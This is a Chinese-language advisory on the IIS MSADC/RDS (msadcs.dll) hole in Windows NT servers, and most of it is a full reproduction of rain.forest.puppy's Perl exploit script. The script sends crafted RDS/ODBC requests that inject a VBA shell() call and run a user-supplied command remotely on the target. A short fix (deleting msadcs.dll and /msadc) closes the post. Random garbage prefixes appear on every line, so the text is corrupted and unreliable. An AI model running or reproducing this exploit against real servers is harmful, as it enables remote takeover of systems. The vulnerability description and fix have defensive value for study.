IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9j>LU<Z [_-[ S 涉及程序：
B=)tq.Q7 Microsoft NT server
ih=O#f| )mu[ye"p 描述：
BIxjY!!" 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
H;N6X y*~ y:YJv x6&4 详细：
|"+UCAU 如果你没有时间读详细内容的话，就删除:
CwaW> (`v c:\Program Files\Common Files\System\Msadc\msadcs.dll
z9
$1 j C 有关的安全问题就没有了。
G2yQHTbl |xFSGrC 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
}qg.Go J'C% 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
#k
t+
)> 关于利用ODBC远程漏洞的描述，请参看:
bScW<DZJ- /s
Bs eI http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Zvkb= \:jJ{bl^A 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
`zOn(6 B;U http://www.microsoft.com/security/bulletins/MS99-025faq.asp :Izdj*HL;A ,In}be$: 这里不再论述。
<O3,b:vw WesEZ\V 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
AGV+Y 6 TG 6E^3a P /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Qe;R3D=T; 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
RG6U~o 1 , .i)(Or ;Dp<|n #将下面这段保存为txt文件，然后: "perl -x 文件名"
] p*Fq^ /DX6Hkkj % #!perl
"b[w%KYyl #
O4 oI&i 7 # MSADC/RDS 'usage' (aka exploit) script
jJ3dZ<# #
t_hr$ { # by rain.forest.puppy
Q\ pI\]p: #
Z$y~:b z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
tY- `$U@ # beta test and find errors!
W3A9uk6 &Fh#o t H_ use Socket; use Getopt::Std;
W[qQDn!r getopts("e:vd:h:XR", \%args);
C zxF H{g&yo print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cd.|> lbm ,# if (!defined $args{h} && !defined $args{R}) {
-] `OaL! print qq~
n{=N f|= Usage: msadc.pl -h <host> { -d <delay> -X -v }
>{eGSSG0 -h <host> = host you want to scan (ip or domain)
<x h";seL -d <seconds> = delay between calls, default 1 second
78kT}kgW -X = dump Index Server path table, if available
-DWnDku8= -v = verbose
CD pLV : -e = external dictionary file for step 5
k3UKGP1 zh Vkn]z~* Or a -R will resume a command session
b G/[mZpRT K?6#jT6# ~; exit;}
]O0:0 Z \ )|B3TjH C $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
kqZ+e/o>O9 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"]hQ\b\O if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
w">-r}HnJ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
l~ZIv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ja{ [T if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~ekV*,R" Z`x*Igf8 if (!defined $args{R}){ $ret = &has_msadc;
:|N(:W>=$Y die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
W$`p ,$ .n HG &rE3@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]L_h3Xz\X . "cmd /c ";
oT* qMLdn $in=<STDIN>; chomp $in;
[ Mp8" $command="cmd /c " . $in ;
c}mWAZ=wF 1 Wb_>`; if (defined $args{R}) {&load; exit;}
h[oI/X VH6J
@m print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
jbTsr j"g &try_btcustmr;
OFn# C! Bn5$TiTcl print "\nStep 2: Trying to make our own DSN...";
J'@`+veE &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
,rWej;CzN 4_d'Uh&] print "\nStep 3: Trying known DSNs...";
6.k>J{GG &known_dsn;
DwI X\9 KVp3 pUO print "\nStep 4: Trying known .mdbs...";
Iz9b5 &known_mdb;
z<,-: =BC" Qw.j if (defined $args{e}){
uol EX+ print "\nStep 5: Trying dictionary of DSN names...";
AZ fW &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
M{ O8iq[ m!Fx# print "Sorry Charley...maybe next time?\n";
s]2_d|Y exit;
ehyCAp0oI {qb2!}FQ ##############################################################################
Kq;s${ |G lR0W DJv sub sendraw { # ripped and modded from whisker
O_^t u?x sleep($delay); # it's a DoS on the server! At least on mine...
_qsg2e}n my ($pstr)=@_;
':DLv{R socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
b9 TsuY die("Socket problems\n");
O^sOv!!RH/ if(connect(S,pack "SnA4x8",2,80,$target)){
xMHu:,ND select(S); $|=1;
|6!L\/}M% print $pstr; my @in=<S>;
tVhf1TH# select(STDOUT); close(S);
$kd9^lj#[ return @in;
@Q%<~b[y } else { die("Can't connect...\n"); }}
( ! 0fmL tl^![Z ##############################################################################
y28 e=i #pr{tL sub make_header { # make the HTTP request
y\zRv(T= my $msadc=<<EOT
wMU}EoGS? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
=k:yBswi User-Agent: ACTIVEDATA
lFbf9s:$B Host: $ip
Jq_AR!} % Content-Length: $clen
!uSG 1j" y Connection: Keep-Alive
WO{E T evGUl~</~ ADCClientVersion:01.06
>6 A8+= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
48RSuH zaG1 --!ADM!ROX!YOUR!WORLD!
[xH Hm5$ Content-Type: application/x-varg
MhZ\]CAs9 Content-Length: $reqlen
d#-'DO{k rVv4R/3+ EOT
maVfLVx- ; $msadc=~s/\n/\r\n/g;
3h`_Qv%g return $msadc;}
Qgxpq{y YK )e ##############################################################################
]B3f$;W ; P9cjfSn sub make_req { # make the RDS request
@w73U; 9\ my ($switch, $p1, $p2)=@_;
G1G*TSf my $req=""; my $t1, $t2, $query, $dsn;
`
*q>E GDY =^r if ($switch==1){ # this is the btcustmr.mdb query
$ M| $query="Select * from Customers where City=" . make_shell();
/<Yz ;\:Jy $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
NM4b]> $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+AYB0`X) bz|-x"qk elsif ($switch==2){ # this is general make table query
aM|;3j1p $query="create table AZZ (B int, C varchar(10))";
+\U#:gmw $dsn="$p1";}
Z!2%{HQ=q H& !? c5 elsif ($switch==3){ # this is general exploit table query
0{qe1pb w $query="select * from AZZ where C=" . make_shell();
ZiaHL pk $dsn="$p1";}
0YO/G1O& &%r<_1 elsif ($switch==4){ # attempt to hork file info from index server
]? % *3I $query="select path from scope()";
]? lUe5F $dsn="Provider=MSIDXS;";}
rObg:(z&\ qaiR329fx elsif ($switch==5){ # bad query
>o ) v $query="select";
dzs(sM= $dsn="$p1";}
# H.DnW "-R19SpJKh $t1= make_unicode($query);
0$=w8tP) $t2= make_unicode($dsn);
4~~G
i`XE $req = "\x02\x00\x03\x00";
1Uk Gjw1J $req.= "\x08\x00" . pack ("S1", length($t1));
D|D) 782 $req.= "\x00\x00" . $t1 ;
>b2wFo/em $req.= "\x08\x00" . pack ("S1", length($t2));
l$ufW| $req.= "\x00\x00" . $t2 ;
Qm>2,={h $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,*CP G$L return $req;}
<5o
oML]nP .>
5[; ##############################################################################
GBYwS{4 ): 7mK03J sub make_shell { # this makes the shell() statement
'q\[aKEX= return "'|shell(\"$command\")|'";}
J=6(
4> "ifv1KZ# ##############################################################################
C9^C4
NM+ (ss' sub make_unicode { # quick little function to convert to unicode
>>%E?'9A my ($in)=@_; my $out;
3gs!ojG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
# 83pitcc return $out;}
q!AcM d\ p mUG`8SY ##############################################################################
.O6(Q I*
%/w%A:y#& sub rdo_success { # checks for RDO return success (this is kludge)
Ni>!b6 Z`[ my (@in) = @_; my $base=content_start(@in);
w@x||K= Z if($in[$base]=~/multipart\/mixed/){
v,d'SR. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
d-`z1' return 0;}
:: s k) 0SV4p . ##############################################################################
#Q@~ TW 7mA:~- .u sub make_dsn { # this makes a DSN for us
r <5i my @drives=("c","d","e","f");
Y|cj&<o print "\nMaking DSN: ";
gN .n _! foreach $drive (@drives) {
c'
Q4Fzj0' print "$drive: ";
om2)Cd9~7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
E7 P '} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
d~#:t~
$, . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;k
(M 4? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
@ RP?)*8}& return 0 if $2 eq "404"; # not found/doesn't exist
@:t2mz:^i if($2 eq "200") {
2 2@w: foreach $line (@results) {
n ;e.N:p return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
sFw;P` } return 0;}
g17 fge6% O96 %U$W ##############################################################################
"f :_(np, Ou{V DE sub verify_exists {
wL[{ 6wL my ($page)=@_;
m1Xc3=Y my @results=sendraw("GET $page HTTP/1.0\n\n");
-{E S 36 return $results[0];}
2]cU:j6G @ \*Zq ##############################################################################
I lZ$Jd YI?t mqzt sub try_btcustmr {
\. YJs"<3 my @drives=("c","d","e","f");
oAgU rl;R my @dirs=("winnt","winnt35","winnt351","win","windows");
I ;F\'P)e .* &F foreach $dir (@dirs) {
&M7AM"9 print "$dir -> "; # fun status so you can see progress
v)JS4KS foreach $drive (@drives) {
!q 9PO print "$drive: "; # ditto
RV ),E:? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
B-h@\y $reqlenlen=length( "$reqlen" );
B^Hh rz! $clen= 206 + $reqlenlen + $reqlen;
xu.TS O% 8>siU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Lum5Va%0 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
%xdyG Al: else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
WHcw5_3#
v;(k7
##############################################################################
Bhk @0\a bMGXx>x sub odbc_error {
yH0vESgv my (@in)=@_; my $base;
S]?I 7_ my $base = content_start(@in);
5%"sv+iO if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
dg#w !etB $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R%"'k<`# $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
P AXm $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:"gu=u! return $in[$base+4].$in[$base+5].$in[$base+6];}
K_%gda|l+ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
HjY! ]!4p print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
7* >,BhF# $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
K{0 gkORF DDe`Lb%% ##############################################################################
_8e0vi! ~2 GYtp%<<9; sub verbose {
] QJ7q} my ($in)=@_;
84/#,X!=s return if !$verbose;
l:*.0Tj print STDOUT "\n$in\n";}
{ a_& L |xrnLdng0R ##############################################################################
\lF-]vz* Bw>)gSB5$k sub save {
?8YbTn1 f) my ($p1, $p2, $p3, $p4)=@_;
WNSEc% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
J7wIA3.O print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
o,'Fz?[T% close OUT;}
CP
Ju= p. KT=dZT ##############################################################################
g/gaPc*86 lT_dzO sub load {
.9q`Tf my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
RO| }WD) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+|qw >1J( @p=<IN>; close(IN);
PV-B<Y $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
=g?k`v p $target= inet_aton($ip) || die("inet_aton problems");
3*N0oc^m print "Resuming to $ip ...";
3x>Y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
f1
`E- if($p[1]==1) {
Z<#h$XUA $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Lc0=5]D $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
;Qidf}: my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
[`' K.-?# if (rdo_success(@results)){print "Success!\n";}
VyWzb else { print "failed\n"; verbose(odbc_error(@results));}}
n$<n
Yr`X elsif ($p[1]==3){
6foiN W+ if(run_query("$p[3]")){
*RFBLCt print "Success!\n";} else { print "failed\n"; }}
r- ,u)zf" elsif ($p[1]==4){
*9 (E0" if(run_query($drvst . "$p[3]")){
3-BC4y/ print "Success!\n"; } else { print "failed\n"; }}
=d /$B!t{ exit;}
P?Kg7m W XO}SPf- ##############################################################################
9JO1O:W TP mb]j sub create_table {
3g5D[>J' my ($in)=@_;
A}i> ys $reqlen=length( make_req(2,$in,"") ) - 28;
Y^eF( $reqlenlen=length( "$reqlen" );
5 YLc4z* $clen= 206 + $reqlenlen + $reqlen;
qfF2S my @results=sendraw(make_header() . make_req(2,$in,""));
lqvP
Dz return 1 if rdo_success(@results);
. d JBv my $temp= odbc_error(@results); verbose($temp);
4j C7>mE return 1 if $temp=~/Table 'AZZ' already exists/;
=z\/xzAwX return 0;}
B^C 5? mt4X ##############################################################################
czH# ~ _z>%h>L|g sub known_dsn {
)\ J~KB4 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
T1;>qgp4b my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
u56F;y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
1i;Cw/mr "banner", "banners", "ads", "ADCDemo", "ADCTest");
p tlag&Z )1f.=QZN^; foreach $dSn (@dsns) {
AsR}qqG print ".";
Wz;@Rl|F next if (!is_access("DSN=$dSn"));
y 7z)lB y\ if(create_table("DSN=$dSn")){
%`lLX/4 ~ print "$dSn successful\n";
>]kZ2gVt if(run_query("DSN=$dSn")){
o w;a7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t:n$9WB) print "Something's borked. Use verbose next time\n";}}} print "\n";}
,fvhP $n s1p< F, ##############################################################################
n >xuef iB + _+A sub is_access {
@>+`1C my ($in)=@_;
5m\ )82s $reqlen=length( make_req(5,$in,"") ) - 28;
5>h/LE]" $reqlenlen=length( "$reqlen" );
"8E=*2fcw $clen= 206 + $reqlenlen + $reqlen;
I>lblI$7 my @results=sendraw(make_header() . make_req(5,$in,""));
37 *2/N2 my $temp= odbc_error(@results);
X 39%O' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,_ @) IN return 0;}
Uur pho_~ =KHX_ib ##############################################################################
{Rn*)D9 @_?Uo wc8 sub run_query {
zKThM#.Wa my ($in)=@_;
jWso'K $reqlen=length( make_req(3,$in,"") ) - 28;
y0'WB`hNQ $reqlenlen=length( "$reqlen" );
I( < Trn $clen= 206 + $reqlenlen + $reqlen;
'N`x@( my @results=sendraw(make_header() . make_req(3,$in,""));
BwVq:)P/R return 1 if rdo_success(@results);
vd/ BO my $temp= odbc_error(@results); verbose($temp);
8L[\(~Zf return 0;}
czK}F/Sg ` 7A{Z1[7 ##############################################################################
seb/rxb (^m~UN2@~m sub known_mdb {
t-Ble my @drives=("c","d","e","f","g");
J)sOn e my @dirs=("winnt","winnt35","winnt351","win","windows");
79B+8= K my $dir, $drive, $mdb;
C|]Zpn#{K my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u $qazj Y6 a9S`o # this is sparse, because I don't know of many
G6qFAepwi my @sysmdbs=( "\\catroot\\icatalog.mdb",
cL4Xh|NBp "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
F <{k~ "\\system32\\certmdb.mdb",
d f/7u}>9 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
rd,!-w5 )"%J~:`h} my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
**c"}S6:mC "\\cfusion\\cfapps\\forums\\forums_.mdb",
<ka zV<" "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
:wfN+g= "\\cfusion\\cfapps\\security\\realm_.mdb",
4wx{i6 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
NKRm# "\\cfusion\\database\\cfexamples.mdb",
Ct$\!|aR "\\cfusion\\database\\cfsnippets.mdb",
D8`SI2 1P "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Nj +^;Y "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
DIgu r}q)@ "\\cfusion\\brighttiger\\database\\cleam.mdb",
A(z
m "\\cfusion\\database\\smpolicy.mdb",
QiaBZAol "\\cfusion\\database\cypress.mdb",
ktM7L{Nz "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
tUGF8?&
G "\\website\\cgi-win\\dbsample.mdb",
()Q q7/ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
M$} AJS%8 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
mqDI'~T9 u ); #these are just
Yw\lNhoPS foreach $drive (@drives) {
/ 1eeNbd foreach $dir (@dirs){
6 kD. foreach $mdb (@sysmdbs) {
NleMZ print ".";
hLT?aQLx if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
H%{k.# O print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
:bkmm,%O if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
-X-sykDm print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
J^zB 5W,) } else { print "Something's borked. Use verbose next time\n"; }}}}}
M]xfH * z~/e \ foreach $drive (@drives) {
.>2]m[53 foreach $mdb (@mdbs) {
xF*i+'2 print ".";
xrkR)~ E if(create_table($drv . $drive . $dir . $mdb)){
+5GPU 9k print "\n" . $drive . $dir . $mdb . " successful\n";
~DS.b-E if(run_query($drv . $drive . $dir . $mdb)){
v3wq- print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
| g"K7XfM4 } else { print "Something's borked. Use verbose next time\n"; }}}}
ED>P>Gg }
'Jd*r(2d kpM o7n ##############################################################################
#!P>." . {D8yqO A} sub hork_idx {
Ged } qXn print "\nAttempting to dump Index Server tables...\n";
#Fkp6`Q$x print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<&tdyAT?& $reqlen=length( make_req(4,"","") ) - 28;
!Oi':OQG $reqlenlen=length( "$reqlen" );
2rHQ 7 $clen= 206 + $reqlenlen + $reqlen;
p+-IvU my @results=sendraw2(make_header() . make_req(4,"",""));
K1p. { if (rdo_success(@results)){
:mt<]Oy3 my $max=@results; my $c; my %d;
i"mQ for($c=19; $c<$max; $c++){
sAnb
$results[$c]=~s/\x00//g;
B/Ltb^a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7v}(R:* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
BCX2C $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Nnfq!%
$d{"$1$2"}="";}
N(P2Lo{JF foreach $c (keys %d){ print "$c\n"; }
[MF&x9Ss?% } else {print "Index server doesn't seem to be installed.\n"; }}
GtKSA#oYZB D$VRE^ k ##############################################################################
Sa/]81 aG vVSf'w sub dsn_dict {
li0)<("/ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
tD,I7%|@ while(<IN>){
B &3sV+ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Kaji& Ibd next if (!is_access("DSN=$dSn"));
\5 j#ad if(create_table("DSN=$dSn")){
#$l:% print "$dSn successful\n";
>` u8( if(run_query("DSN=$dSn")){
0 qW"b`9R print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,o}CBB! k print "Something's borked. Use verbose next time\n";}}}
AuY*x;~ print "\n"; close(IN);}
\uZ1Sl EXR6Vb, ##############################################################################
u(8dsg R 6#ktw)e sub sendraw2 { # ripped and modded from whisker
MjK<n[. sleep($delay); # it's a DoS on the server! At least on mine...
IuMJ-" my ($pstr)=@_;
7Rn
4gT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6=S z5MC die("Socket problems\n");
|o@ U
L if(connect(S,pack "SnA4x8",2,80,$target)){
Z6&bUZF$bE print "Connected. Getting data";
cH707?p/I open(OUT,">raw.out"); my @in;
yE;S6 O select(S); $|=1; print $pstr;
:k2 J
&@8 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0qm C Icg close(OUT); select(STDOUT); close(S); return @in;
V 7D<'! } else { die("Can't connect...\n"); }}
*;Z a)) En4!-pWHQ ##############################################################################
O\h%ZLjfO #"C!-kS'= sub content_start { # this will take in the server headers
M|R\[
Zf my (@in)=@_; my $c;
3, J{! for ($c=1;$c<500;$c++) {
V;gC [7H if($in[$c] =~/^\x0d\x0a/){
L1&` 3a?pL if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(0Jr<16si$ else { return $c+1; }}}
Pfd%[C/vdm return -1;} # it should never get here actually
P G
zwS I:1Pz|$` ##############################################################################
xpI8QV$# qHPinxewx sub funky {
(3=bKcD' my (@in)=@_; my $error=odbc_error(@in);
I1JL`\;4 if($error=~/ADO could not find the specified provider/){
= L`PP>"rW print "\nServer returned an ADO miscofiguration message\nAborting.\n";
5UX- Qqr exit;}
Tq?f5swsI
if($error=~/A Handler is required/){
z> b^Ui0 print "\nServer has custom handler filters (they most likely are patched)\n";
# wyjb:Ql exit;}
[}4 \CWM if($error=~/specified Handler has denied Access/){
U*XdFH}vV print "\nServer has custom handler filters (they most likely are patched)\n";
|W*2 L] & exit;}}
j$4lyDfD *%%n9T ##############################################################################
yM7FR) ; "]q0|ZdOwH sub has_msadc {
z? GtC{L9 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'a$/ !~X my $base=content_start(@results);
|) mUO:* return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
XW+-E^d return 0;}
=E:sEw2j 4 b }'W} ########################
NOf{Xx<#k N:EljzvP} =6N=5JePB 解决方案：
fc4jbPp:M 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
+e#(p< 2、移除web 目录: /msadc
